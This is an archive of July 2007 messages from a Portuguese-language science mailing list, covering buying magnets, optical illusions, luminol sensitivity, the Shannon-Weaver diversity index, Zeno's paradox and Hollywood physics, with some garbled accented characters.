Listando: 0 de 0 registro(s)



Infelizmente NÃO localizamos nenhuma empresa que comercializa o
produto: ímãs .

:)))

JC

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Vc não precisa vir até sampa pra comprar ímãs. Vc pode ligar - bem,
> vai gastar no interurbano, mas menos de 100 reais - há catálogos como
> Guia Mais, Páginas Amarelas, Guia OESP, Listel...
>
> De todo modo há um portal específico para o comércio de Santa Ifigênia:
>
> http://www.portaldasantaifigenia.com.br/
>
> Tb não precisa vir a sampa só pra comprar ímãs. Pode aproveitar um fim
> de semana para passear *e* fazer compras (se encher o carro com
> sacolão da 25 de março dá pra pagar a passagem e ainda lucrar com a
> revenda).
>
> []s,
>
> Roberto Takata
>
> --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> > Takata San, eu sou caipira, moro aqui no interiô e para ir pra sampa
> > comprar ímãs eu gastaria R$ 100,00 só de transporte. Por isso pedi
> > sugestões em que eu possa comprar pela Internet, sacou?
>




SUBJECT: Re: Alguém sabe?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 02:02

Como não sei com quais empresas vc falou...

http://www.magnetosgerais.com.br/

http://www.superimas.com.br/

Essas não ficam na Sta Ifigênia.

[]s,

Roberto Takata



SUBJECT: Re: ALÔ PÉCIA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 03:22

Aos neófitos da lista: a mensagem abaixo trata-se de uma brincadeira
do Silvio Cordeiro.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "SILVIO CORDEIRO"
> Pécia é uma das divindades do panteão olímpico e era cultuada por
ter uma vasta cabeleira ruiva, coisa de muito pasmar naqueles
pretéritos tempos.
> Seu templo, onde havia um numero constante de 69 vestais consagradas
a um futuro deus que surgiria dos áridos desertos denominado São-São.
era visitado constantemente por os mais ricos cidadãos espartanos como
de cavalheiros de alta estirpe e enormes proventos, oriundos de todo o
mundo civilizado, em busca do milagroso elixir para restauração da
pilosidade craniana.
> Atualmente, em decadência, aonda recebe visitas de alguns adoradores
que mantém os ritos e principalmente as massagens das jovens vestais
todas denominadas Martaxas.
>
> sds.,
>
> silvio, historiador.




SUBJECT: Re: [ciencialist] Re: ALÔ PÉCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/07/2007 07:20

Pécia para ele nos explicar a brincadeira.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 24 de julho de 2007 03:22
Assunto: [ciencialist] Re: ALÔ PÉCIA


Aos neófitos da lista: a mensagem abaixo trata-se de uma brincadeira
do Silvio Cordeiro.

[]s,

Roberto Takata




SUBJECT: Mesma cor
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 24/07/2007 10:10

Mesma cor <http://100nexos.com/arquivo/209><http://100nexos.com/arquivo/209#respond>


A �rea central de cada um dos dois blocos acima tem *exatamente *a mesma
cor. N�o acredita? Experimenta tampar a parte esquerda e a �rea entre os
dois blocos � ou use um programa gr�fico como o Photoshop. Esta ilus�o �tica
� uma varia��o de uma demonstra��o bem
conhecida<http://www.ceticismoaberto.com/news/?p=780>
.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: O dedo médio de Galileu
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 24/07/2007 10:11

O dedo m�dio de Galileu <http://100nexos.com/arquivo/210>

<http://www.curiousexpeditions.org/2007/07/the_middle_finger_of_modernity.html>

"� uma grande ironia, esse dedo. Venerado, conservado em um relic�rio,
sujeito ao mesmo tratamento que um santo. Mas esse dede n�o pertenceu a
nenhum santo. � o longo dedo ossudo de um her�tico. Um homem t�o perigoso �
institui��o religiosa que foi feito prisioneiro em sua pr�pria casa. Ele
repousa em um pequeno ovo de vidro sobre uma base de m�rmore no Instituto e
Museu da Hist�ria da Ci�ncia em Floren�a, It�lia. Na prateleira ao lado do
dedo m�dio de sua m�o direita est� algo que o her�tico ficaria muito mais
feliz de ver preservado. Um pequeno peda�o trincado de vidro que j� foi
usado para perscrutar os c�us. � O dedo [*de Galileu*] foi removido por um
tal Anton Francesco Gori em 1737, 95 anos depois de sua morte. � Se o dedo
aponta ao c�u, onde Galileu teve um relance da gl�ria do universo e viu deus
na matem�tica, ou se repousa eternamente desafiante � igreja que o condenou,
cabe ao visitante decidir".

Se o dedo m�dio de Galileu conservado em um museu o surpreendeu, leia sobre
o c�rebro de Einstein, conservado em potes de gel�ia, cortado sobre uma
t�bua de cortar p�o e acomodado em um pote de comprimidos. � a saga do
c�rebro de Einstein<http://www.ceticismoaberto.com/ciencia/cerebro_einstein.htm>
.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Miss Átomo 2007
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 24/07/2007 10:12

Miss �tomo 2007 <http://100nexos.com/arquivo/211>

<http://miss2007.nuclear.ru/awards.html>
Vinte anos depois de Chernobyl, a R�ssia nos traz a *Miss �tomo*. No
concurso de beleza as candidatas devem trabalhar em instala��es Rosatom,
entidades de energia nuclear da *antiga URSS*, institutos de pesquisa ou
serem estudantes de institui��es educacionais nucleares. E, com tr�s anos de
idade quando a usina sovi�tica explodiu, a Miss �tomo 2007 � a bela Yelena
Kamenskaya <http://miss2007.nuclear.ru/anketa.html?id=176>.
Alguns defendem que n�veis baixos de radia��o seriam mesmo
ben�ficos<http://en.wikipedia.org/wiki/Radiation_hormesis>,
embora estudos de longo prazo n�o ap�iem tal id�ia. Lembra o tempo em que as
pessoas tomavam �gua
radioativa<http://www.orau.org/PTP/collection/quackcures/radith.htm>�
e morriam por causa disso. Yelena pode acabar devendo mais ao fato de
que as
nuvens radioativas de Chernobyl foram semeadas e choveram sobre a
Bielorr�sia<http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2007/04/22/wrain22.xml>
.
[via Efeito �zaron<http://efeitoazaron.com/2007/07/22/miss-nuclear-isso-mesmo/>
]

*Veja tamb�m:*
Cuidado com o que deseja <http://100nexos.com/arquivo/147> "Quantos el�trons
de val�ncia tem um...
Goocrente: � s�rio <http://100nexos.com/arquivo/78> "Nossa miss�o �
facilitar a pesquis...
Vamos todos para o inferno <http://100nexos.com/arquivo/83> via Neatorama,
original em Indexed....
2007: o ano em que fomos para a cidade <http://100nexos.com/arquivo/160> O
dia 23 de maio de 2007 foi um marco �nic...
Mapeando as redes sociais do Novo
Testamento<http://100nexos.com/arquivo/79>Por algum motivo um certo
Jesus aparece de forma ...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: sensiblidade do luminol ao sangue
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist <ciencialist@yahoogrupos.com.br>
DATE: 24/07/2007 17:51

Oi Pessoal,

Todos sabem que o luminol é utilizado pelos peritos forenses para 'achar' sangue oculto na cena do crime. Gostaria de referências da sensibilidade do luminol ao sangue. tenho a informação que pode chegar a 1 ppb.

[]'s do Prof. Emiliano

Flickr agora em português. Você cria, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: sensiblidade do luminol ao sangue
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 18:17

--- Em ciencialist@yahoogrupos.com.br, "Prof. Emiliano Chemello"
> Todos sabem que o luminol é utilizado pelos peritos forenses para
> 'achar' sangue oculto na cena do crime. Gostaria de referências da
> sensibilidade do luminol ao sangue. tenho a informação que pode
> chegar a 1 ppb.

In the past 50 years, there have been many tests conducted on the
sensitivity of presumptive blood tests (4,6–15). The findings of these
studies are in great contradiction with each other. Sensitivities for
luminol range from 1:200 (11) to 1:100,000,000 (6); from 1:200 (11) to
1:100,000 for leuchomalachite green (LMG) (8); and from 1:2,000
(12,13) to 1:10,000,000 for phenolphthalein (9). The various
differences in the sensitivities reported by different researchers of
presumptive blood tests are probably caused by differences in reagent
concentrations, methods of preparation of samples, reagents and
results, and in the type of material containing the blood (4). Grodsky
et al. (8) also add that dried bloodstains are not comparable with the
same amount of blood dissolved in a solution. They further add that
many of the discrepancies observed are probably due to the presumptive
test reagents being added directly to a dilute blood solution, thereby
also diluting the reagent, while in other cases the dilute blood
solutions are dried first and then tested with full-strength reagents (8).

http://www.blackwell-synergy.com/doi/full/10.1111/j.1556-4029.2006.00324.x?cookieSet=1

[]s,

Roberto Takata



SUBJECT: Re: Entropia: Pequeno paradoxo cosmológico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 18:36

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> "Embora esse tipo de configuração [mescla gasosa quente e uniforme]
> tenha alta entropia quando as densidades são tão baixas que podemos
> ignorar a gravidade, a situação é outra quando a gravidade não pode
> ser ignorada. Nessas condições, um gás uniforme tem entropia
> extremamente baixa".

Aqui já está em uma outra fase do universo, com gases, com bários, com
léptons...

E deixa no ar como seriam as condições antes da origem da massa.

[]s,

Roberto Takata



SUBJECT: Indice de diversidade
FROM: "expebarroso" <expebarroso@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 18:53

Caros,gostaria de saber se o ínidce de diversidade H', usado em
ecologia e extrai´do da teoria da informação foi formulado por Shannon
e Wiener, ou por Shannon e Weaver, visto ver as duas formas escritas
em diversos trabalhos de ecologia.



SUBJECT: Re: Indice de diversidade
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/07/2007 19:01

Sim. O índice de diversidade de Shannon-Weaver é baseado na teoria de
Shannon.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "expebarroso" <expebarroso@...>
> Caros,gostaria de saber se o ínidce de diversidade H', usado em
> ecologia e extrai´do da teoria da informação foi formulado por Shannon
> e Wiener, ou por Shannon e Weaver, visto ver as duas formas escritas
> em diversos trabalhos de ecologia.




SUBJECT: Ruído e tremor de terra em Santa Catarina
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 25/07/2007 01:35

Ru�do e tremor de terra em Santa
Catarina<http://www.ceticismoaberto.com/news/?p=926>

<http://noticias.terra.com.br/brasil/interna/0,,OI1776035-EI8139,00.html>

Um tremor de terra foi sentido no fim da tarde de sexta-feira [20/07/2007]
em tr�s cidades do norte de Santa Catarina. Moradores das cidades de
Joinville, Araquari e S�o Francisco do Sul acionaram o Corpo de Bombeiros
devido ao que acharam se tratar de um terremoto. O tremor, no entanto, n�o
foi confirmado pela dire��o da Defesa Civil porque nenhum �rg�o teria
registrado oficialmente o fen�meno. Mas, segundo a pr�pria Defesa Civil, o
temor poderia ter sido causado por alguma detona��o de rocha. Mesmo sem
confirma��o oficial, o incidente levou p�nico aos moradores das cidades. O
Corpo de Bombeiros recebeu v�rias liga��es de pessoas que relataram tamb�m
ter ouvido um forte barulho pouco antes do tremor. -
Terra<http://noticias.terra.com.br/brasil/interna/0,,OI1776035-EI8139,00.html>

Luiz Dokonal avisa da not�cia e d� mais detalhes: "O fen�meno foi detectado
em locais distantes entre si mais de 30 km. Foi coisa grande� Parece que
ningu�m viu coisa alguma (pelo menos at� agora n�o h� relato algum). Deu
para ouvir claramente no centro de Joinville � Alguma coisa a respeito saiu
nos jornais locais e tamb�m no portal Terra. Especula��es n�o faltam, mas t�
com toda cara de ter sido um meteorito. Dei uma olhada no
cords<http://www.aero.org/capabilities/cords/reentries.html>e n�o
achei ind�cio de queda de sat�lite ou outro objeto em �rbita previsto
para este dia. Sobram ainda especula��es sobre terremoto/acomoda��o de solo,
sobre atividades de pedreiras ou mesmo avi�es rompendo a barreira do som.
Mas � esquisito, o ch�o n�o treme com avi�es rompendo a barreira e
terremotos n�o fazem barulho avisando� Para completar, n�o h� nenhum
sism�grafo na regi�o, o que dificulta saber o que realmente aconteceu".
Voc� tamb�m sentiu algo? Envie seu relato nos coment�rios. O caso lembra
not�cias vindas de Rond�nia h� algum tempo, com especula��es de meteoros e
mesmo rumores de laudos do INPE sobre rel�mpagos globulares, mas que o site
Vig�lia esclareceu ser possivelmente apenas�
eros�o<http://www.vigilia.com.br/sessao.php?categ=0&id=867>.
Mas est� mais relacionado com os muitos relatos de "Zumbidos"
(Hums<http://en.wikipedia.org/wiki/The_Hum>),
que tamb�m incluem relatos de explos�es e tremores de origem desconhecida. Os
"hums" j� foram atribu�dos a exaustores de ind�strias
pr�ximas<http://www.100megsfree4.com/farshores/n03hum9.htm>,
e parecem n�o ser apenas
ilus�es<http://www.straightdope.com/classics/a981218.html>.
Como est�, a explica��o provavelmente est� em algum lugar entre explos�es em
pedreiras e o Hum. Como escreveu Luiz, "� bom ficar de olho nas not�cias,
quem sabe a explica��o aparece�".
Veja tamb�m

- CeticismoAberto.com atualizado
17.05.2007<http://www.ceticismoaberto.com/news/?p=882>REFER�NCIAS
ATUALIZADAS - Fotos de Fadas - Elsie Wright e Frances Gr...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=159>Papai Noel OVNI Reveladora
fotografia de Raul Garza. Se o link acima n�o...
- Brasil entra na busca por seres vivos fora da
Terra<http://www.ceticismoaberto.com/news/?p=753>Um
grupo de pesquisadores brasileiros est� se articulando para entra...
- Revista Terra Redonda
<http://www.ceticismoaberto.com/news/?p=698>As tr�s edi��es da revista
Terra Redonda, publicadas ...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=352>Inset�ides Terr�vel,
terr�vel. [via ]

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Miscel�nea <http://www.ceticismoaberto.com/news/?cat=13> | Por Mori Comente!
� <http://www.ceticismoaberto.com/news/?p=926#respond>


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Hollywood vs Ciência
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/07/2007 01:41

Efthimiou CJ & Llewellyn RA 2007 - Hollywood blockbuster - Unlimited
fun but limited science literacy.
"1 Introduction
There is no doubt that Hollywood has become an established major
source for entertainment in the lives of the citizens of the modern
society. In the products of Hollywood (big screen movies, TV mini
series, TV series, sitcoms, etc) amazing feats are presented by people
supposedly the best in their fields. Great scientists find solutions
to major scientific challenges, the best NASA employees save the Earth
from the ultimate heavenly threats, the best soldiers defeat armies on
their own, the best psychics solve criminal cases, the best
parapsychologists manage to successfully investigate supernatural
phenomena and so on. And of course we should not forget the laypersons
who often save the day by finding solutions that scientists could not
think of. Unfortunately all this is only great entertainment. When
logic and science are used to decide if certain scenarios are
consistent and plausible, usually the results are disappointing. The
inconsistencies of the Hollywood products with science may come as a
surprise to many people who simply accept what they see as realistic
or, at worst, slightly modified from reality.
In this article, we will examine specific scenes from popular action
and sci-fi movies and show how blatantly they break the laws of
physics, all in the name of entertainment, but coincidentally
contributing to science illiteracy. Towards this goal, we assume that
our reader has an understanding of algebra-based general physics."
http://arxiv.org/PS_cache/arxiv/pdf/0707/0707.1167v1.pdf
------------------------
[]s,

Roberto Takata



SUBJECT: A verdadeira origem dos discos voadores
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 25/07/2007 02:18

A verdadeira origem dos discos
voadores<http://www.ceticismoaberto.com/news/?p=929>

Veja aqui <http://www.ceticismoaberto.com/news/?p=929>

Assista ao clipe com um breve coment�rio de Kenneth Arnold � o
pr�prio<http://www.ceticismoaberto.com/ufologia/kott_error.htm>�
seguido pelo depoimento de Raymond Palmer sobre as verdadeiras origens
da
ufologia moderna. "Eu sabia sobre discos voadores tr�s anos antes do
primeiro avistamento de Kenneth Arnold", e � verdade, porque Palmer foi o
homem que inventou os discos
voadores<http://www.ceticismoaberto.com/ufologia/shaver.htm>.
Acompanhado do depoimento b�nus de Colin Cameron, n�o menos relevante.
Excerto do document�rio "UFOs Are Here!" de Stan Deyo, produzido em 1977, h�
exatos trinta anos, quando a ufologia comemorava seus trinta anos. Convers�o
e legendas: CeticismoAberto.
Veja tamb�m

- OVNIs Condensados? <http://www.ceticismoaberto.com/news/?p=38> Acima
voc� confere a imagem de uma condensa��o Prandtl-Glauert envolve...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=606>Replay: An�is de Fadas No
in�cio do m�s, em Mar del Plata, Buenos Aire...
- Niels Cristiansen, espi�o
nazista<http://www.ceticismoaberto.com/news/?p=48>"A
EXISTENCIA DOS DISCOS VOADORES � INCONTESTAVEL" Fala � reportagem sob...

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Personalidades<http://www.ceticismoaberto.com/news/?cat=5>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Extraterrestres<http://www.ceticismoaberto.com/news/?cat=10>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12> | Por Mori Comente!
� <http://www.ceticismoaberto.com/news/?p=929#respond>


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: RES: [ciencialist] Hollywood vs Ciência
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/07/2007 06:57



Takata,



Minha opinião pessoal.

A análise do autor do artigo é oportuna e valiosa, e vale para os iniciados
em física. Mas só.

Certamente o correto e proveitoso para o povo seriam filmes que
apresentassem todas as cenas de modo a que os movimentos se enquadrassem nas
leis da física. Mas, evidentemente, ficaria desinteressante; e os
criadores de efeitos visuais, e agregados, malucos e divertidos, estariam
desempregados. E o filme não daria resultados financeiros, os atores não
ganhariam o suficiente, as companhias desistiriam. E nós, que gostamos de
ser enganados, vez ou outra, ficaríamos sem diversão.

Um filme é uma obra artística, sem ser, contudo, na maioria das vezes, arte.
Como tal, tem a ver também com a representação, daquilo que vai pela cabeça
do autor. Se este é tipo um Salvador Dali, aí danou-se tudo! Como num livro
ou um quadro. Só que no filme há movimentos. Nesse sentido, o que dizer do
livro e do filme: Alice no País das Maravilhas! Ou do filme Sangri-lá(não
lembro se o nome é escrito assim). E do 24 Horas, com o salvador, meu herói
mentiroso, Jack Bauer(será que não dava prá ele salvar o Brasil?), ou o
2001, uma Odisséia no Espaço? Isto sem falar nos filmes de desenho animado,
que ainda hoje assisto com minhas princesas. Ficção é ficção,vale tudo, e
ninguém tem que ficar fazendo contas para mostrar o óbvio, de que ninguém, e
as bilheterias, querem saber.

Ou seja, o autor do artigo tem razão, em sua lúcida análise. Mas, para o
ideário popular, incluindo o dos intelectuais, que não são de ferro, é bom
que continue como tudo está. Quem ainda não gosta daqueles filmes de caubois
ou da série Guerra nas Estrelas? Duvido que ainda não os assistam hoje,
mesmo os intelectuais , físicos renomados ou não e professores de ciência em
geral! E que tem ali de científico? Não se pode assistir qualquer filme
esperando que seja politicamente correto, todo encaixado como deve, uma aula
de física! Seria chato prá caramba. Filmes científicos têm que ser filmes
científicos, com nome e tudo, para alertar que não se trata do me engana que
eu gosto, que é bom e todos gostam. E que só servem mesmo para estudantes e
aficcionados da ciência. Ainda assim, nem todos tirarão o proveito desejado.
E que dizer dos de Super-Homem ou Batman? Aliás, este último inaugurou
essa de “macho” ter namorado, de aliança e tudo(se pensam que não,
conversem com a Robin,o afetado mirim)? Vai colocar ciência ali!

Filme é ficção, é divertimento, é passatempo. Vale tudo. Filme é apenas um
conjunto de imagens em movimento, que são meras ilusões de ótica.

Bem, comprei um novo filme da Barbie e vou assistí-lo agora.





Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: quarta-feira, 25 de julho de 2007 01:41
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Hollywood vs Ciência



Efthimiou CJ & Llewellyn RA 2007 - Hollywood blockbuster - Unlimited
fun but limited science literacy.
"1 Introduction
There is no doubt that Hollywood has become an established major
source for entertainment in the lives of the citizens of the modern
society. In the products of Hollywood (big screen movies, TV mini
series, TV series, sitcoms, etc) amazing feats are presented by people
supposedly the best in their fields. Great scientists find solutions
to major scientific challenges, the best NASA employees save the Earth
from the ultimate heavenly threats, the best soldiers defeat armies on
their own, the best psychics solve criminal cases, the best
parapsychologists manage to successfully investigate supernatural
phenomena and so on. And of course we should not forget the laypersons
who often save the day by finding solutions that scientists could not
think of. Unfortunately all this is only great entertainment. When
logic and science are used to decide if certain scenarios are
consistent and plausible, usually the results are disappointing. The
inconsistencies of the Hollywood products with science may come as a
surprise to many people who simply accept what they see as realistic
or, at worst, slightly modified from reality.
In this article, we will examine specific scenes from popular action
and sci-fi movies and show how blatantly they break the laws of
physics, all in the name of entertainment, but coincidentally
contributing to science illiteracy. Towards this goal, we assume that
our reader has an understanding of algebra-based general physics."
http://arxiv.org/PS_cache/arxiv/pdf/0707/0707.1167v1.pdf
------------------------
[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: BRASIL AGORA ENTRA NA ERA ESPACIAL
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: Mente Estratégica <menteestrategica@grupos.com.br>, GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB <grupohistoriadobrasil@yahoo.com.br>, Direto da Redação <eliakimaraujo@diretodaredacao.com>, "Daisy - GMAIL" <daisy.nazare@gmail.com>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, "Cidadania Alerta" <cidadanialerta@terra.com.br>, <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 25/07/2007 09:46

Quando nossos cosmonautas aprenderão algo?

Em Minas existe uma cidade especialista em foguetes: porquê não pedem auxílio lá?

Povinho mais do incopetente!!!

silvio

Depois de dois anos de preparação e sete tentativas frustradas de lançamento, a odisséia do foguete brasileiro VSB-30 terminou no mar. Na verdade, deveria terminar ali mesmo, mais precisamente a 165 quilômetros da costa maranhense, mas com a recuperação do módulo de carga útil. O problema é que o equipamento de localização, que emitiria sinais por ondas de rádio para os aviões, não funcionou, e o módulo se perdeu.
PROGRAMA ESPACIAL
Um foguete no fundo do mar
Muniz Sodré |Feitos & Desfeitas


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SUBJECT: Paradoxo de Zenon
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/07/2007 09:52


Ciências da Natureza, Matemática e suas Tecnologias

Matemática
Como apreender sobre os movimentos que ocorrem em um Universo infinitamente pequeno?

[ É no interior desta vizinhança que as conclusões de Zenão se revelam verdadeiras. ]

Será? Essa afirmação é falsa ou verdadeira? Quando isso ocorre?

Quem venceria uma corrida: um atleta olímpico ou uma tartaruga? A resposta a esta pergunta, aparentemente ridícula, abre o caminho para um importante conceito matemático, o conceito de Limite. Imagine a corrida. Para compensar a desvantagem da tartaruga, vamos colocá-la um pouco à frente do campeão, cerca de 10 metros ou 1 000 centímetros. Enquanto a tartaruga anda 1 centímetro em 1 segundo, o atleta percorre os 10 metros que o separam do vagaroso animal, e também completa o centímetro que ele caminhou. Assim, exatamente 1 segundo após o início da corrida, a 1 001 centímetros do ponto de partida do atleta, este ultrapassa a tartaruga. O filósofo grego Zenão, que viveu no século VI a.C., pensou de forma diferente a corrida entre o atleta e a tartaruga. Segundo ele, assim que a competição se inicia, por maior que seja a velocidade do corredor e a lerdeza da tartaruga, o animal estará sempre um pouco à frente, pois quando o atleta chegar à posição inicial da tartaruga, esta terá avançado um pouquinho mais. Repetindo infinitas vezes este raciocínio, chega-se à conclusão de que o corredor jamais ultrapassará a tartaruga. Sabemos, porém, que ao contrário do que sugeria Zenão, 1 segundo após o início da corrida o atleta ultrapassa a tartaruga. Como resolver essa contradição? A solução encontrada pelos matemáticos foi a seguinte: no instante 1 segundo temos a posição 1001 centímetros, na qual os dois competidores se encontram no mesmo ponto. Esta posição é o limite-ultrapassagem para onde os dois movimentos ocorrem. Antes desse limite, temos a sua vizinhança, na qual os movimentos acontecem em intervalos de tempo infinitamente pequenos e em que são percorridos espaços também infinitamente pequenos infinitesimais. É no interior desta vizinhança que as conclusões de Zenão se revelam verdadeiras.




< http://klickeducacao.ig.com.br/2006/materia/20/display/0,5912,IGP-20-87-937-,00.html?codsit=9104&codparext=2084 >

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SUBJECT: Re: [ciencialist] Re: Indice de diversidade
FROM: Expedito Barroso <expebarroso@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/07/2007 10:27

Caro Takata,
A minha dúvida contraria um pouco o que tu respondeste: eu conheço apenas Claude Shannon (Teoria Matemáticada Comunicação) e Norbert Wiener (formulador do termo cibernética e dos alicerces dessa área). Não conheço Weaver, entretanto vejo as duas grafias PARA O MESMO ÍNDICE usado pelos ecologistas.

rmtakata <roberto.takata@bol.com.br> escreveu:
Sim. O índice de diversidade de Shannon-Weaver é baseado na teoria de
Shannon.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "expebarroso" <expebarroso@...>
> Caros,gostaria de saber se o ínidce de diversidade H', usado em
> ecologia e extrai´do da teoria da informação foi formulado por Shannon
> e Wiener, ou por Shannon e Weaver, visto ver as duas formas escritas
> em diversos trabalhos de ecologia.





Flickr agora em português. Você cria, todo mundo vê. Saiba mais.

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SUBJECT: Inalação acidental de camisinha
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/07/2007 12:08

Acredite se quiser: http://medind.nic.in/iae/t04/i1/iaet04i1p55.pdf

Essa ganha o "prêmio Darwin"!

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br



SUBJECT: RES: [ciencialist] Inalação acidental de camisinha
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/07/2007 12:50

Álvaro,



O fato é tão inusitado, tão único, que é difícil de acreditar, mesmo vendo
as radiografias e o relato dos profissionais envolvidos, que devem ter se
enchido de espanto e perplexidade, ante o fato.

Engolir já é bronca braba. Mas inalar? Puts!



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alvaro Augusto (U)
Enviada em: quarta-feira, 25 de julho de 2007 12:09
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Inalação acidental de camisinha



Acredite se quiser: http://medind.nic.in/iae/t04/i1/iaet04i1p55.pdf

Essa ganha o "prêmio Darwin"!

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br <mailto:alvaro%40lunabay.com.br>





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SUBJECT: Re: [ciencialist] Paradoxo de Zenon
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/07/2007 20:59

Achei esta explicação para o paradoxo de Zenão muito enrolada... as
palavras, não o raciocínio.

Eu colocaria da seguinte forma: a distância entre Aquiles e a tartaruga vai
reduzindo em cada passo do raciocínio de Zenão e, portanto, o tempo que dura
cada iteração vai sendo reduzido proporcionalmente (velocidades constantes).
Então, apesar de realmente precisarmos de "infinitas" iterações de acordo
com o processo de Zenão, o "delta t" de cada processo vai se tornando mais
insignificante e, por um desses milagres da matemática, o somatório dos
"delta t's" converge.

Aliás, não é milagre da matemática, a teoria dos limites foi construída
justamente para dar este resultado, casar com a realidade dos fatos que
Aquiles vai ultrapassar a tartaruga, se vc aceitar que a matemática segue a
física!

Shridhar
http://entropicando.blogspot.com

On 7/25/07, José Renato <jrma@terra.com.br> wrote:
>
>
> Ciências da Natureza, Matemática e suas Tecnologias
>
> Matemática
> Como apreender sobre os movimentos que ocorrem em um Universo
> infinitamente pequeno?
>
> [ É no interior desta vizinhança que as conclusões de Zenão se revelam
> verdadeiras. ]
>
> Será? Essa afirmação é falsa ou verdadeira? Quando isso ocorre?
>
